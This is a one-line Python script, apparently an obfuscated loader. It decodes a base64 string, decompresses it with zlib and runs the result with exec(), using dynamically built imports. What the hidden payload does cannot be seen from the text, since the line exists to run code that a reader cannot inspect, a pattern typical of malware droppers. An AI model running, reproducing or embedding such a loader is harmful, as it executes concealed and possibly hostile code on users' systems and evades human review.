exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNo9UE1LxDAQPTe/IrdkMIZd6VZZrCDiQUQEd28i0qbjGpomIclqVfzvbsjiZYb35s2bDz15FxKNTo2YxLfRvei7iE0tYgp7lUTSE5I3F+hMtaWhszvkywWsSZXC1yFWsS3NsiR+Jo5483hz/7rZPt1eP0DWSeWsRZU4Z41Myku7C26U2jGxXJ03F5BVfcBuJBXOCn3K9nm+jAbR8xUQ05a15N76To2cXd0xEWVA9cFrgOfFCxnaIzZAPt+1QWrQ8gEuzcFuOPmvnhYaCM6oeL5cDqjc5APGyMsTZN/UmRwwK8UPi2wdf4H8AVzmYd8=')[0])))